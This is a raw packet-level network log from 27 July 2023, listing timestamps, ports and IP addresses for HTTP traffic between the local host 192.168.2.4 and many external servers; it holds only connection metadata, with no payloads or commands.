Jul 27, 2023 21:53:17.135436058 CEST	80	49714	80.74.154.6	192.168.2.4
Jul 27, 2023 21:53:17.135596037 CEST	49714	80	192.168.2.4	80.74.154.6
Jul 27, 2023 21:53:17.148963928 CEST	80	49966	80.74.154.6	192.168.2.4
Jul 27, 2023 21:53:17.149188995 CEST	49966	80	192.168.2.4	80.74.154.6
Jul 27, 2023 21:53:17.167820930 CEST	49717	80	192.168.2.4	170.82.174.30
Jul 27, 2023 21:53:17.168311119 CEST	49966	80	192.168.2.4	80.74.154.6
Jul 27, 2023 21:53:17.168742895 CEST	49967	80	192.168.2.4	170.82.174.30
Jul 27, 2023 21:53:17.172923088 CEST	49968	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:53:17.187989950 CEST	80	49966	80.74.154.6	192.168.2.4
Jul 27, 2023 21:53:17.188024998 CEST	80	49966	80.74.154.6	192.168.2.4
Jul 27, 2023 21:53:17.188290119 CEST	49966	80	192.168.2.4	80.74.154.6
Jul 27, 2023 21:53:17.203099012 CEST	80	49961	3.130.204.160	192.168.2.4
Jul 27, 2023 21:53:17.220736027 CEST	49966	80	192.168.2.4	80.74.154.6
Jul 27, 2023 21:53:17.222620964 CEST	80	49959	206.191.152.37	192.168.2.4
Jul 27, 2023 21:53:17.229476929 CEST	80	49954	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:17.229506016 CEST	80	49954	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:17.229815006 CEST	49954	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:53:17.240504026 CEST	80	49966	80.74.154.6	192.168.2.4
Jul 27, 2023 21:53:17.241740942 CEST	49966	80	192.168.2.4	80.74.154.6
Jul 27, 2023 21:53:17.253917933 CEST	80	49965	211.1.226.67	192.168.2.4
Jul 27, 2023 21:53:17.258130074 CEST	49965	80	192.168.2.4	211.1.226.67
Jul 27, 2023 21:53:17.258320093 CEST	80	49958	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:17.258388042 CEST	80	49958	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:17.258426905 CEST	80	49958	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:17.258465052 CEST	80	49958	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:17.258502960 CEST	80	49958	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:17.258513927 CEST	49958	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:17.258543968 CEST	80	49958	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:17.258577108 CEST	80	49958	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:17.258589983 CEST	49958	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:17.258622885 CEST	49958	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:17.258680105 CEST	49958	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:17.259857893 CEST	49965	80	192.168.2.4	211.1.226.67
Jul 27, 2023 21:53:17.312349081 CEST	80	49968	52.86.6.113	192.168.2.4
Jul 27, 2023 21:53:17.312525034 CEST	49968	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:53:17.319297075 CEST	80	49692	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:17.389554024 CEST	80	49717	170.82.174.30	192.168.2.4
Jul 27, 2023 21:53:17.391305923 CEST	80	49967	170.82.174.30	192.168.2.4
Jul 27, 2023 21:53:17.391484976 CEST	49967	80	192.168.2.4	170.82.174.30
Jul 27, 2023 21:53:17.407191992 CEST	80	49957	80.93.82.33	192.168.2.4
Jul 27, 2023 21:53:17.407421112 CEST	49957	80	192.168.2.4	80.93.82.33
Jul 27, 2023 21:53:17.437258959 CEST	49968	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:53:17.437875032 CEST	49967	80	192.168.2.4	170.82.174.30
Jul 27, 2023 21:53:17.438328028 CEST	49957	80	192.168.2.4	80.93.82.33
Jul 27, 2023 21:53:17.440403938 CEST	49969	80	192.168.2.4	137.118.26.67
Jul 27, 2023 21:53:17.473853111 CEST	80	49957	80.93.82.33	192.168.2.4
Jul 27, 2023 21:53:17.473965883 CEST	49957	80	192.168.2.4	80.93.82.33
Jul 27, 2023 21:53:17.537308931 CEST	80	49965	211.1.226.67	192.168.2.4
Jul 27, 2023 21:53:17.537337065 CEST	80	49965	211.1.226.67	192.168.2.4
Jul 27, 2023 21:53:17.537424088 CEST	49965	80	192.168.2.4	211.1.226.67
Jul 27, 2023 21:53:17.543921947 CEST	80	49874	213.186.33.17	192.168.2.4
Jul 27, 2023 21:53:17.543986082 CEST	49874	80	192.168.2.4	213.186.33.17
Jul 27, 2023 21:53:17.566664934 CEST	49965	80	192.168.2.4	211.1.226.67
Jul 27, 2023 21:53:17.576217890 CEST	80	49968	52.86.6.113	192.168.2.4
Jul 27, 2023 21:53:17.576244116 CEST	80	49968	52.86.6.113	192.168.2.4
Jul 27, 2023 21:53:17.576299906 CEST	49968	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:53:17.576350927 CEST	49968	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:53:17.596790075 CEST	80	49956	70.39.251.249	192.168.2.4
Jul 27, 2023 21:53:17.596945047 CEST	49956	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:53:17.653593063 CEST	49968	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:53:17.660459042 CEST	80	49967	170.82.174.30	192.168.2.4
Jul 27, 2023 21:53:17.775331974 CEST	49956	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:53:17.787765026 CEST	49957	80	192.168.2.4	80.93.82.33
Jul 27, 2023 21:53:17.788161039 CEST	49970	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:53:17.791491985 CEST	49721	80	192.168.2.4	202.254.236.40
Jul 27, 2023 21:53:17.792104006 CEST	80	49968	52.86.6.113	192.168.2.4
Jul 27, 2023 21:53:17.792422056 CEST	49710	80	192.168.2.4	172.67.152.159
Jul 27, 2023 21:53:17.792829990 CEST	49971	80	192.168.2.4	202.254.236.40
Jul 27, 2023 21:53:17.794084072 CEST	49972	80	192.168.2.4	172.67.152.159
Jul 27, 2023 21:53:17.808619976 CEST	80	49710	172.67.152.159	192.168.2.4
Jul 27, 2023 21:53:17.808768988 CEST	49710	80	192.168.2.4	172.67.152.159
Jul 27, 2023 21:53:17.810374975 CEST	80	49972	172.67.152.159	192.168.2.4
Jul 27, 2023 21:53:17.810509920 CEST	49972	80	192.168.2.4	172.67.152.159
Jul 27, 2023 21:53:17.810940027 CEST	49972	80	192.168.2.4	172.67.152.159
Jul 27, 2023 21:53:17.821178913 CEST	80	49957	80.93.82.33	192.168.2.4
Jul 27, 2023 21:53:17.821353912 CEST	49957	80	192.168.2.4	80.93.82.33
Jul 27, 2023 21:53:17.828454971 CEST	80	49972	172.67.152.159	192.168.2.4
Jul 27, 2023 21:53:17.845180988 CEST	80	49965	211.1.226.67	192.168.2.4
Jul 27, 2023 21:53:17.845336914 CEST	49965	80	192.168.2.4	211.1.226.67
Jul 27, 2023 21:53:17.879504919 CEST	80	49956	70.39.251.249	192.168.2.4
Jul 27, 2023 21:53:17.880193949 CEST	80	49956	70.39.251.249	192.168.2.4
Jul 27, 2023 21:53:17.880284071 CEST	49956	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:53:17.923929930 CEST	80	49972	172.67.152.159	192.168.2.4
Jul 27, 2023 21:53:17.923959970 CEST	80	49972	172.67.152.159	192.168.2.4
Jul 27, 2023 21:53:17.923980951 CEST	80	49972	172.67.152.159	192.168.2.4
Jul 27, 2023 21:53:17.924004078 CEST	49972	80	192.168.2.4	172.67.152.159
Jul 27, 2023 21:53:17.924045086 CEST	49972	80	192.168.2.4	172.67.152.159
Jul 27, 2023 21:53:17.924108982 CEST	49972	80	192.168.2.4	172.67.152.159
Jul 27, 2023 21:53:17.927714109 CEST	80	49970	52.86.6.113	192.168.2.4
Jul 27, 2023 21:53:17.927807093 CEST	49970	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:53:17.944231987 CEST	80	49967	170.82.174.30	192.168.2.4
Jul 27, 2023 21:53:17.944327116 CEST	49967	80	192.168.2.4	170.82.174.30
Jul 27, 2023 21:53:17.992758036 CEST	49970	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:53:18.042078972 CEST	49956	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:53:18.043193102 CEST	49967	80	192.168.2.4	170.82.174.30
Jul 27, 2023 21:53:18.071999073 CEST	80	49721	202.254.236.40	192.168.2.4
Jul 27, 2023 21:53:18.072031021 CEST	80	49971	202.254.236.40	192.168.2.4
Jul 27, 2023 21:53:18.072104931 CEST	49971	80	192.168.2.4	202.254.236.40
Jul 27, 2023 21:53:18.077649117 CEST	49971	80	192.168.2.4	202.254.236.40
Jul 27, 2023 21:53:18.095202923 CEST	49704	80	192.168.2.4	213.186.33.17
Jul 27, 2023 21:53:18.095864058 CEST	49973	80	192.168.2.4	213.186.33.17
Jul 27, 2023 21:53:18.096388102 CEST	49712	80	192.168.2.4	89.161.163.246
Jul 27, 2023 21:53:18.097137928 CEST	49974	80	192.168.2.4	89.161.163.246
Jul 27, 2023 21:53:18.099030018 CEST	49718	80	192.168.2.4	192.252.154.18
Jul 27, 2023 21:53:18.099754095 CEST	49975	80	192.168.2.4	192.252.154.18
Jul 27, 2023 21:53:18.126395941 CEST	80	49712	89.161.163.246	192.168.2.4
Jul 27, 2023 21:53:18.126504898 CEST	49712	80	192.168.2.4	89.161.163.246
Jul 27, 2023 21:53:18.126648903 CEST	80	49704	213.186.33.17	192.168.2.4
Jul 27, 2023 21:53:18.127423048 CEST	80	49973	213.186.33.17	192.168.2.4
Jul 27, 2023 21:53:18.127542973 CEST	49973	80	192.168.2.4	213.186.33.17
Jul 27, 2023 21:53:18.127696037 CEST	80	49974	89.161.163.246	192.168.2.4
Jul 27, 2023 21:53:18.127851009 CEST	49974	80	192.168.2.4	89.161.163.246
Jul 27, 2023 21:53:18.128048897 CEST	49973	80	192.168.2.4	213.186.33.17
Jul 27, 2023 21:53:18.128457069 CEST	49974	80	192.168.2.4	89.161.163.246
Jul 27, 2023 21:53:18.131488085 CEST	80	49970	52.86.6.113	192.168.2.4
Jul 27, 2023 21:53:18.131510973 CEST	80	49970	52.86.6.113	192.168.2.4
Jul 27, 2023 21:53:18.131581068 CEST	49970	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:53:18.131607056 CEST	49970	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:53:18.132625103 CEST	49970	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:53:18.146918058 CEST	80	49956	70.39.251.249	192.168.2.4
Jul 27, 2023 21:53:18.147079945 CEST	49956	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:53:18.150290966 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:18.159054995 CEST	80	49974	89.161.163.246	192.168.2.4
Jul 27, 2023 21:53:18.162195921 CEST	80	49973	213.186.33.17	192.168.2.4
Jul 27, 2023 21:53:18.162235022 CEST	80	49973	213.186.33.17	192.168.2.4
Jul 27, 2023 21:53:18.162264109 CEST	80	49973	213.186.33.17	192.168.2.4
Jul 27, 2023 21:53:18.162406921 CEST	49973	80	192.168.2.4	213.186.33.17
Jul 27, 2023 21:53:18.162406921 CEST	49973	80	192.168.2.4	213.186.33.17
Jul 27, 2023 21:53:18.165277004 CEST	80	49974	89.161.163.246	192.168.2.4
Jul 27, 2023 21:53:18.165306091 CEST	80	49974	89.161.163.246	192.168.2.4
Jul 27, 2023 21:53:18.165376902 CEST	49974	80	192.168.2.4	89.161.163.246
Jul 27, 2023 21:53:18.165376902 CEST	49974	80	192.168.2.4	89.161.163.246
Jul 27, 2023 21:53:18.166394949 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:18.166493893 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:18.167821884 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:18.184153080 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:18.196957111 CEST	80	49718	192.252.154.18	192.168.2.4
Jul 27, 2023 21:53:18.197043896 CEST	49718	80	192.168.2.4	192.252.154.18
Jul 27, 2023 21:53:18.197432041 CEST	80	49975	192.252.154.18	192.168.2.4
Jul 27, 2023 21:53:18.197525024 CEST	49975	80	192.168.2.4	192.252.154.18
Jul 27, 2023 21:53:18.265878916 CEST	80	49967	170.82.174.30	192.168.2.4
Jul 27, 2023 21:53:18.271086931 CEST	80	49970	52.86.6.113	192.168.2.4
Jul 27, 2023 21:53:18.342444897 CEST	49975	80	192.168.2.4	192.252.154.18
Jul 27, 2023 21:53:18.357080936 CEST	80	49971	202.254.236.40	192.168.2.4
Jul 27, 2023 21:53:18.358329058 CEST	80	49971	202.254.236.40	192.168.2.4
Jul 27, 2023 21:53:18.358411074 CEST	49971	80	192.168.2.4	202.254.236.40
Jul 27, 2023 21:53:18.400235891 CEST	49971	80	192.168.2.4	202.254.236.40
Jul 27, 2023 21:53:18.409532070 CEST	80	49967	170.82.174.30	192.168.2.4
Jul 27, 2023 21:53:18.409727097 CEST	49967	80	192.168.2.4	170.82.174.30
Jul 27, 2023 21:53:18.428860903 CEST	49723	80	192.168.2.4	185.80.51.179
Jul 27, 2023 21:53:18.440432072 CEST	80	49975	192.252.154.18	192.168.2.4
Jul 27, 2023 21:53:18.442677975 CEST	80	49975	192.252.154.18	192.168.2.4
Jul 27, 2023 21:53:18.442816019 CEST	49975	80	192.168.2.4	192.252.154.18
Jul 27, 2023 21:53:18.467027903 CEST	80	49723	185.80.51.179	192.168.2.4
Jul 27, 2023 21:53:18.468533039 CEST	49707	80	192.168.2.4	172.217.16.179
Jul 27, 2023 21:53:18.482968092 CEST	80	49707	172.217.16.179	192.168.2.4
Jul 27, 2023 21:53:18.483104944 CEST	49707	80	192.168.2.4	172.217.16.179
Jul 27, 2023 21:53:18.495002985 CEST	49711	80	192.168.2.4	192.241.158.94
Jul 27, 2023 21:53:18.547337055 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.547408104 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.547472954 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.547502995 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.547530890 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.547561884 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.547606945 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.547653913 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.547672033 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.547719002 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.547722101 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.547779083 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.547785044 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.547833920 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.547866106 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.547880888 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.547887087 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.547930956 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.548110962 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.548161983 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.548175097 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.548207045 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.548211098 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.548254013 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.548257113 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.548316956 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.548341036 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.548393011 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.549071074 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.549123049 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.549150944 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.549171925 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.549174070 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.549216986 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.549218893 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.549264908 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.549264908 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.549314022 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.550137997 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.550223112 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.550224066 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.550276041 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.550293922 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.550343990 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.550365925 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.550415039 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.550431013 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.550482035 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.551037073 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.551114082 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.551182985 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.551249027 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.551290035 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.551316023 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.551340103 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.551376104 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.564095974 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.564162016 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.564208984 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.564254045 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.564258099 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.564321041 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.564342022 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.564358950 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.564389944 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.564400911 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.564435959 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.564444065 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.564481020 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.564491034 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.564526081 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.564532995 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.564584017 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.565320015 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.565371037 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.565417051 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.565439939 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.565464020 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.565481901 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.565510035 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.565516949 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.565558910 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.566313028 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.566365004 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.566411972 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.566443920 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.566458941 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.566489935 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.566505909 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.566519976 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.566813946 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.567231894 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.567285061 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.567313910 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.567337990 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.567338943 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.567395926 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.568841934 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.568892002 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.568912983 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.568938971 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.568969011 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.568986893 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.569003105 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.569032907 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.569200039 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.569278955 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.569328070 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.569339991 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.569374084 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.569385052 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.569437027 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.569446087 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.569492102 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.569506884 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.569650888 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.570277929 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.570326090 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.570369959 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.570415974 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.570436954 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.570436954 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.570436954 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.570461035 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.570463896 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.570508957 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.571177959 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.571229935 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.571275949 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.571320057 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.571321011 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.571322918 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.571355104 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.571367979 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.571377993 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.572313070 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.572382927 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.572402954 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.572443962 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.572448015 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.572494984 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.572510958 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.572561026 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.572571039 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.572623968 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.573105097 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.573178053 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.573179007 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.573225975 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.573241949 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.573287964 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.573307991 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.573369980 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.573402882 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.573431015 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.574074984 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.574152946 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.574217081 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.574228048 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.574279070 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.574278116 CEST	49977	80	192.168.2.4	185.80.51.179
Jul 27, 2023 21:53:18.574312925 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.574335098 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.574342966 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.574388981 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.574976921 CEST	49722	80	192.168.2.4	60.43.154.138
Jul 27, 2023 21:53:18.574980974 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.575048923 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.575102091 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.575109959 CEST	80	49964	104.26.15.53	192.168.2.4
Jul 27, 2023 21:53:18.575115919 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.575167894 CEST	49964	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:53:18.576498985 CEST	49978	80	192.168.2.4	172.217.16.179
Jul 27, 2023 21:53:18.578253031 CEST	49979	80	192.168.2.4	192.241.158.94
Jul 27, 2023 21:53:18.580167055 CEST	49980	80	192.168.2.4	60.43.154.138
